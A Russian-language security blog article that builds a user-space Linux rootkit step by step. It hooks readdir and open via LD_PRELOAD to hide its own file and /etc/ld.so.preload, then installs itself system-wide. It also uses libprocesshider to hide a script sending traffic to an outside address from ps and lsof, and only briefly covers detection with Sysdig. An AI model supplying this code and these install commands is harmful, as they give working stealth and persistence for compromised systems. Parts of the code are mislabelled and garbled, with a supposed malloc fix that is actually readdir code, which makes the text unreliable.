В nix есть переменная среды, которую если указать, ваши библиотеки будут загружены раньше остальных. Это означает, что системные вызовы можно заменить. Называется переменная LD_PRELOAD, и в этой статье мы подробно обсудим обнаружение руткитов с помощью переменной LD_PRELOAD
Все сведения предоставлена исключительно в информационных целях. Данная публикация написана в интересах пентестеров. Ни составитель, ни редколлегия веб-сайта https://cryptoworld.su/ не несут ответственности из-за вполне вероятного ущерба, нанесенного использованием материалами данной статьи.
Официально основной целью LD_PRELOAD является отладка или проверка функций в библиотеках динамической компоновки. Если вы не хотите исправлять и перекомпилировать саму библиотеку, вы можете использовать переменную среды.
Для примера, в случае если нам нужно предзагрузить библиотеку ld.so
, то в таком случае нам достаточно 2 способа:
- Установить переменную среды
LD_PRELOAD
с файлом библиотеки. - Записать путь к библиотеке в файл
/
.etc/ ld. so. preload
В 1-ом случае мы заявляем переменную с библиотекой в интересах текущего юзера а также его среды. Во 2-ом наша библиотека будет загружена ранее других в интересах абсолютно всех пользователей системы.
Нас интересует второй метод: именно этот метод часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, перечисление каталога, процессов и других функций, позволяющих злоумышленнику скрыть свое присутствие в системе.
Переопределение системных вызовов
В первую очередь прежде чем мы приступим к реальным функциям руткитов, давайте на небольшом примере покажем, как можно перехватить вызов стандартной функции malloc ().
В этих целях мы набросаем простенькую програмку, которая выделяет блок памяти при поддержке функции malloc ()
, затем помещает в него функцией strncpy()
строку I'll be back
и выводит ее с помощью fprintf ()
по адресу который возвращает malloc ().
Создаем файл call_malloc.
:
#include
#include
#include
#include
int main()
{
char *alloc = (char *)malloc(0x100);
strncpy(alloc, "I'll be back\0", 14);
fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}
Теперь набросаем программу, переопределяющую malloc().
Внутри — функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в STDERR
c помощью fprintf(
. Создадим файл libmalloc.
:
#define _GNU_SOURCE
#include
#include
#include
void *malloc(size_t size)
{
fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
return 0;
}
Теперь с помощью GCC скомпилируем наш код:
$ ls
call_malloc.c libmalloc.c
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc call_malloc.c libmalloc.c libmalloc.so
Выполним нашу программу call_malloc:
$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back
Посмотрим, какие библиотеки использует наша программа, с помощью утилиты ldd:
$ ldd ./call_malloc
linux-vdso.so.1 (0x00007fff0cd81000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)
Отлично видно, что без использования предзагрузчика LD_PRELOAD
стандартно загружаются три библиотеки:
linux-vdso.
— представляет собой виртуальный динамический разделяемый объект (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее —so. 1 man
).7 vdso libc.
— библиотека libc с используемой нами функциейso. 6 malloc(
в программе) call_malloc
.ld-linux-x86-64.
— сам динамический компоновщик.so. 2
Теперь давайте определим переменную LD_PRELOAD
и попробуем перехватить malloc(
. Здесь я не буду использовать export и ограничусь однострочной командой для простоты:
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошибка сегментирования
Мы успешно перехватили malloc(
из библиотеки libc.
, но сделали это не совсем чисто. Функция возвращает значение указателя NULL, что при разыменовании strncpy(
в программе ./
вызывает ошибку сегментирования. Исправим это.
Отработка сбоев
Для того чтобы обладать возможностью запускать полезную нагрузку руткита в автоматическом режиме, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть два способа решить эту проблему:
- наша функция
malloc(
должна реализовывать функциональность) malloc(
библиотеки libc по запросу пользователя. Это полностью избавит от необходимости использовать) malloc(
из) libc.
;so libmalloc.so
каким-то образом должна иметь возможность вызыватьmalloc ()
из libc и возвращать результаты вызывающей стороне.
Каждый раз, когда вызывается malloc (),
динамический компоновщик вызывает версию malloc ()
из libmalloc.so
, поскольку это первое появление malloc ()
. Но мы хотим вызвать следующее вхождение malloc (),
которое находится в libc.so.
Это связано с тем, что динамический компоновщик внутренне использует функцию dlsym ()
из /usr/include/dlfcn.h
для поиска адреса, загруженного в память.
По умолчанию первым аргументом dlsym ()
является дескриптор RTLD_DEFAULT
, который возвращает адрес первого вхождения символа. Однако есть еще один псевдо-указатель динамической библиотеки, RTLD_NEXT,
который ищет следующее вхождение. Используя RTLD_NEXT,
мы можем найти функцию malloc ()
библиотеки libc.so
Отредактируем libmalloc.
. Комментарии объясняют, что происходит внутри программы:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
// Вызов orig_readdir() для получения каталога
struct dirent *ep = orig_readdir(dirp);
while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
ep = orig_readdir(dirp);
return ep;
}
Цикл проверяет, является ли значение каталога NULL, затем вызывается strncmp (),
чтобы проверить, совпадает ли d_name
каталога с RKIT (файлом руткита). Если оба условия верны, вызывается orig_readdir ()
для чтения следующей записи каталога. Это игнорирует все каталоги с d_name,
начинающиеся с rootkit.so.
Теперь посмотрим, как на этот раз работает наша библиотека. Скомпилируем еще раз и посмотрим результат работы:
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back
Как видим, все прошло хорошо. Первоначально при первом возникновении malloc ()
использовалась наша реализация этой функции, а затем исходная реализация библиотеки libc.so.
Теперь, когда мы поняли, как работает LD_PRELOAD и как мы можем указать работу со стандартными системными функциями, пришло время применить эти знания на практике.
Попробуем сделать таким образом, чтобы утилита ls, когда выводит список файлов, пропускала руткит.
Скрываем файл из листинга ls
Подавляющая часть динамически компилируемых программ используют системные вызовы libc. Давайте воспользуемся утилитой ldd, чтобы посмотреть, какие библиотеки использует программа ls:
$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...
Оказывается, ls динамически компилируется с использованием функций библиотеки libc.so. Теперь посмотрим, какие системные вызовы утилита ls использует для чтения каталога. Для этого выполните ltrace ls в пустом каталоге:
$ ltrace ls
memcpy(0x55de4a72e9b0, ".\0", 2) = 0x55de4a72e9b0
__errno_location() = 0x7f3a35b07218
opendir(".") = 0x55de4a72e9d0
readdir(0x55de4a72e9d0) = 0x55de4a72ea00
readdir(0x55de4a72e9d0) = 0x55de4a72ea18
readdir(0x55de4a72e9d0) = 0
closedir(0x55de4a72e9d0) = 0
Очевидно, что при запуске команды без аргументов ls использует системные вызовы opendir (), readdir ()
и closedir (),
которые являются частью библиотеки libc. Теперь давайте воспользуемся LD_PRELOAD
и заменим эти стандартные вызовы нашими собственными. Напишем простую библиотеку, в которой мы изменим функцию readdir ()
так, чтобы она скрывала наш файл кода.
Здесь мы подошли к написанию простого руткита, работающего без нагрузки. Все, что он будет делать, это скрывать сам себя от глаз системного администратора.
Я создал директорию rootkit
и дальше буду работать в ней. Создадим файл rkit.
.
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
Компилируем и проверяем работу:
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
итого 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so
$ LD_PRELOAD=./rootkit.so ls -lah
итого 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
Нам удалось скрыть файл rootkit.
от посторонних глаз. Пока мы тестировали библиотеку исключительно в пределах одной команды.
Используем /etc/ld.so.preload
Давайте воспользуемся записью в /
для сокрытия нашего файла от всех пользователей системы. Для этого запишем в ld.
путь до нашей библиотеки:
# ls
rkit.c rootkit.so
# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls
rkit.c
В итоге мы утаили файл абсолютно от всех пользователей (впрочем это далеко не совсем так, однако об этом позднее). Но опытный администратор найдет нас довольно легко, так как наличие самого файла /etc/ld.so.preload
может указывать на наличие руткита — особенно если такого файла раньше не было.
Скрываем ld.so.preload
Попробуем скрыть сам файл ld.so.preload
из листинга. Давайте немного подправим код rkit.c
:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
Для ясности я добавил еще один макрос LD_PL в предыдущую программу с именем файла ld.so.preload
, который мы также добавили в цикл while
, где мы сравниваем имя файла, чтобы скрыть.
В последствии компиляции первичный файл rootkit.so
будет перезаписан, а требуемый файл ld.so.preload
исчезнет из вывода утилиты ls. Давайте проверим:
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c
$ ls /etc/
...
ldap tmpfiles.d
ld.so.cache ucf.conf
ld.so.conf udev
ld.so.conf.d udisks2
libao.conf ufw
libaudit.conf update-motd.d
libblockdev UPower
...
Ну вот. мы вроде бы стали на одну ступень ближе к конспирации.
Углубляемся фундаментальнее
Попытаемся проверить, сможем ли мы прочитать файл ld.so.preload командой cat:
$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so
Наличие нашего файла можно обнаружить простым чтением. Плохо(. Но почему же так?
Конечно, cat вызывает функцию, отличную от readdir (), чтобы получить содержимое, которое мы так кропотливо переписали. Что ж, посмотрим, что использует cat:
$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180) = 0
getpagesize() = 4096
open("/etc/ld.so.preload", 0, 01) = 3
__fxstat(1, 3, 0x7ffded9f6180) = 0
posix_fadvise(3, 0, 0, 2) = 0
...
На этот раз нам предстоит работать с функцией open ()
. Поскольку у нас уже есть опыт, мы добавим в наш руткит функцию, которая вежливо сообщит при доступе к файлу /etc/ld.so.preload,
что файл не существует (ошибка нет записи или просто ENOENT
).
Снова модифицируем rkit.
:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX];
if(!o_open)
o_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, LD_PATH) == 0)
{
errno = ENOENT;
return -1;
}
return o_open(path, oflag);
}
Здесь мы добавили кусок кода, который делает то же самое, что и с readdir(
. Компилируем и проверяем:
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого файла или каталога
Так гораздо лучше, но это еще далеко не все варианты обнаружения /
.
Мы все еще можем легко удалить файл, переместить его с изменением имени (а затем снова увидеть), изменить его разрешения, не сообщая об ошибке. Даже bash услужливо продолжит свое имя, когда вы нажмете клавишу табуляции.
В стоящих руткитах, эксплуатирующих лазейку с LD_PRELOAD
,реализован перехват следующих функций:
listxattr
,llistxattr
,flistxattr
;getxattr
,lgetxattr
,fgetxattr
;setxattr
,lsetxattr
,fsetxattr
;removexattr
,lremovexattr
,fremovexattr
;open
,open64
,openat
,creat
;unlink
,unlinkat
,rmdir
;symlink
,symlinkat
;mkdir
,mkdirat
,chdir
,fchdir
,opendir
,opendir64
,fdopendir
,readdir
,readdir64
;execve
.
Конечно, мы не будем анализировать подмену каждой из них. Вы можете посмотреть на руткит cub3
как на пример перехвата перечисленных функций — все они имеют одинаковые dlsym ()
и RTLD_NEXT.
Скрываем процесс с через LD_PRELOAD
Когда руткит запущен, он должен каким-то образом скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top.
Мы уже довольно подробно разобрались, как работает переопределение функций LD_PRELOAD
. То же самое и с процессами. Более того, стандартные программы используют procfs, виртуальную файловую систему, которая представляет собой интерфейс для взаимодействия с ядром ОС.
Чтение и запись в procfs такие же, как и в обычной файловой системе. То есть, как вы понимаете, здесь нам пригодится наш опыт работы с readdir ().
libprocesshider
Каким образом замаскировать активность мониторинга, предлагаю проанализировать на наглядном примере libprocesshider, который был разработан Джанлукой Борелло, автором Sysdig.com (о методах обнаружения руткитов LD_PRELOAD и о Sysdig и мы поговорим в конце статьи).
Теперь скопируем код с GitHub и разберемся, что к чему:
$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py Makefile processhider.c README.md
В описании к libprocesshider
все просто: делаем make
, копируем в /
и добавляем в /
. Сделаем все, кроме последнего:
$ make
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ sudo mv libprocesshider.so /usr/local/lib/
Посмотрим, каким образом ps получает информацию о процессах. Для этого запустим ltrace:
$ ltrace /bin/ps
...
time(0) = 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207) = 0
openproc(96, 0, 0, 0) = 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580
...
Информацию о процессе получаем при помощи функции readproc(
. Посмотрим реализацию этой функции в файле readproc.
:
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
static struct direct *ent;
char *restrict const path = PT->path;
for (;;) {
ent = readdir(PT->procfs);
if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break; } p->tgid = strtoul(ent->d_name, NULL, 10);
p->tid = p->tgid;
memcpy(path, "/proc/", 6);
strcpy(path+6, ent->d_name);
return 1;
}
Из этого кода ясно, что PID процессов получаются путем вызова readdir () в цикле for. Другими словами, если нет каталога процесса, значит, нет самого процесса для мониторинга утилит. Я привожу пример части кода libprocesshider, где мы скрываем каталог процесса, используя уже известный нам метод:
...
while(1)
{
dir = original_##readdir(dirp);
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
...
Причем само имя процесса get_process_name(
берется из /
.
Проверим наши догадки. Для этого запустим предлагаемый evil_script.
в фоне:
$ ./evil_script.py 1.2.3.4 1234 &
[1] 3435
3435
— это PID нашего работающего процесса evil_script.
. Проверим вывод утилиты htop и убедимся, что evil_script.
присутствует в списке процессов.
evil_script.py в списке процессов htop
Проверим вывод ps и lsof для обнаружения сетевой активности:
$ sudo ps aux | grep evil_script.py
root 3435 99.5 0.4 19272 8260 pts/1 R 11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
root 3616 0.0 0.0 6224 832 pts/0 S+ 12:52 0:00 grep evil_script.py
$ sudo lsof -ni | grep evil_scri
evil_scri 3435 root 3u IPv4 41410 0t0 UDP 192.168.232.138:52676->1.2.3.4:1234
Теперь посмотрим, существует ли директория с PID процесса evil_script.
:
$ sudo ls /proc | grep 3435
3435
$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...
Все предсказуемо. Теперь самое время добавить библиотеку libprocesshider.
в предзагрузку глобально для всей системы. Пропишем ее в /
:
# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Проверяем директорию /
, а также вывод lsof и ps.
$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root 3707 0.0 0.0 6244 900 pts/0 S+ 13:10 0:00 grep evil_script.py
Результат налицо. Теперь в /
нельзя посмотреть директорию с PID скрипта evil_script.
. Однако статус процесса по‑прежнему виден в файле /
.
$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...
Подведем итоги. В первой части статьи мы изучили способы перехвата функций и их изменения, что позволяет скрыть руткиты. А потом они сделали то же самое, чтобы скрыть процессы от стандартных инструментов мониторинга.
Как вы уже догадались, простые руткиты, несмотря на все уловки, обнаруживаются. Например, различными манипуляциями с файлом /etc/ld.so.preload
или проверкой используемых библиотек с помощью ldd.
Однако что, если создатель руткита до такой степени стоящ, что подключил все возможные функции, ldd молчит и все еще есть подозрения на сетевую или другую активность?
Sysdig в качестве решения
Sysdig имеет другую структуру, чем стандартные инструменты. По архитектуре он близок к таким продуктам, как libcap, tcpdump и Wireshark.
Специализированная программа-драйвер sysdig-probe перехватывает системные действия на уровне ядра, в дальнейшем активируется функционирование точек трассировки ядра, что, в свою очередность, запускает обработчики этих событий. Обработчики хранят информацию о событии в общем буфере. Затем эту информацию можно просмотреть или сохранить в текстовом файле
Посмотрим, как с помощью Sysdig найти evil_script.
. К примеру, по загрузке центрального процессора:
$ sudo sysdig -c topprocs_cpu CPU% Process PID --------------------------------------------- 99.00% evil_script.py 5979 2.00% sysdig 5997 0.00% sshd 928 0.00% wpa_supplicant 474 0.00% systemd 909 0.00% exim4 850 0.00% sshd 938 0.00% su 948 0.00% in:imklog 472 0.00% in:imuxsock 472
Вы можете увидеть, как работает ps. В качестве бонуса Sysdig покажет, что динамический компоновщик загрузил пользовательскую библиотеку libprocesshide перед libc:
$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0 2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0 2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...
Схожие функции предоставляют утилиты SystemTap, DTrace и его свежая полноценная замена — BpfTrace.
Итоги
Многочисленные акции руткитов в системе вполне вероятно выявить. Например, замену системных утилит легко обнаружить с помощью таких инструментов, как SELinux. Существуют также специализированные антируткит-программы, в которых улучшены способы выявления также удаления подобных вредоносных объектов из системы. Некоторые антивирусы для рабочих станций включают в себя комплексный модуль защиты от руткитов.
Руткит может заразить сервер крупной компании и приватный пк. Значительное количество руткитов обладают функциями, сопоставимыми с функциями инструментов удаленного администрирования (RAT). Сегодня существуют конструкторы программного обеспечения с открытым исходным кодом, с помощью которых в том числе и начинающий гопник способен «собрать» собственный руткит и заразить им информационную систему либо чей-нибудь пк. Уязвимости браузера позволяют инициировать процесс внедрения руткита на компьютер жертвы, даже если жертва отнюдь не закачивала практически никаких файлов, а попросту вошла на инфицированный интернет-сайт.
Руткиты распространяются таким же образом, как и прочие вредоносные программы: маскируются под бесплатные приложения при посещении зараженного сайта. В этом случае жертве не нужно ничего скачивать. Руткиты также могут попасть на ваш компьютер с внешнего носителя.